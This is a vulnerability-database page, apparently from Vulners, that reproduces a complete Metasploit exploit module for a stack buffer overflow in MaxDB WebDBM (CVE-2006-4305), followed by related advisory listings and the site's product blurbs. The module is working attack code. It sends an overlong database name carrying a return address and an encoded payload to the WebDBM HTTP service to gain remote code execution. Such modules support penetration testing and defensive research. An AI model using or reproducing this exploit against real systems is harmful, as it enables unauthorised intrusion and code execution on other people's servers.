Lucene search
+L

MaxDB WebDBM Database Parameter Overflow

🗓️ 27 Sep 2006 03:23:23Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 52 Views

MaxDB WebDBM Database Parameter Overflow. Stack buffer overflow in MaxDB WebDBM service. Remote attacker could execute arbitrary code with wahttp process privileges. Tested against MaxDB 7.6.00.16 and 7.6.00.27

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2006-4305
20 Sep 201000:00
circl
checkpoint_advisories
Check Point Advisories
MySQL MaxDB WebDBM Server Buffer Overflow (CVE-2006-4305)
10 Nov 200900:00
checkpoint_advisories
cve
CVE
CVE-2006-4305
30 Aug 200601:00
cve
cvelist
Cvelist
CVE-2006-4305
30 Aug 200601:00
cvelist
debian
Debian
[SECURITY] [DSA 1190-1] New maxdb-7.5.00 packages fix execution of arbitrary code
4 Oct 200619:41
debian
nessus
Tenable Nessus
Debian DSA-1190-1 : maxdb-7.5.00 - buffer overflow
25 Oct 200600:00
nessus
nessus
Tenable Nessus
SAP DB / MaxDB WebDBM Client Database Name Remote Overflow
6 Sep 200600:00
nessus
exploitdb
Exploit DB
MaxDB WebDBM - 'Database' Remote Overflow (Metasploit)
20 Sep 201000:00
exploitdb
nvd
NVD
CVE-2006-4305
30 Aug 200601:04
nvd
openvas
OpenVAS
Debian: Security Advisory (DSA-1190-1)
17 Jan 200800:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MaxDB WebDBM Database Parameter Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the MaxDB WebDBM
        service. By sending a specially-crafted HTTP request that contains
        an overly long database name. A remote attacker could overflow a buffer
        and execute arbitrary code on the system with privileges of the wahttp process.

        This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-4305'],
          ['OSVDB', '28300'],
          ['BID', '19660'],
        ],
      'DefaultOptions' =>
      {
        'EXITFUNC' => 'thread',
      },

      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll
          [ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2006-08-29'))

    register_options( [ Opt::RPORT(9999) ])
  end

  def exploit
    connect

    server = rand_text_english(5, payload_badchars)
    user   = rand_text_english(5, payload_badchars)
    pass   = rand_text_english(5, payload_badchars)
    port   = rand(65535).to_s

    sploit =  rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')
    sploit << payload.encoded

    req    =  "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}"
    req    << "&User=#{user}&Password=#{pass}"

    res    =  "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n"
    res    << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n"

    print_status("Trying target %s..." % target.name)

    sock.put(res)

    #give wahttp.exe a bit to recover...
    select(nil,nil,nil,2)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
8.7High risk
Vulners AI Score8.7
CVSS 210
EPSS0.71302
52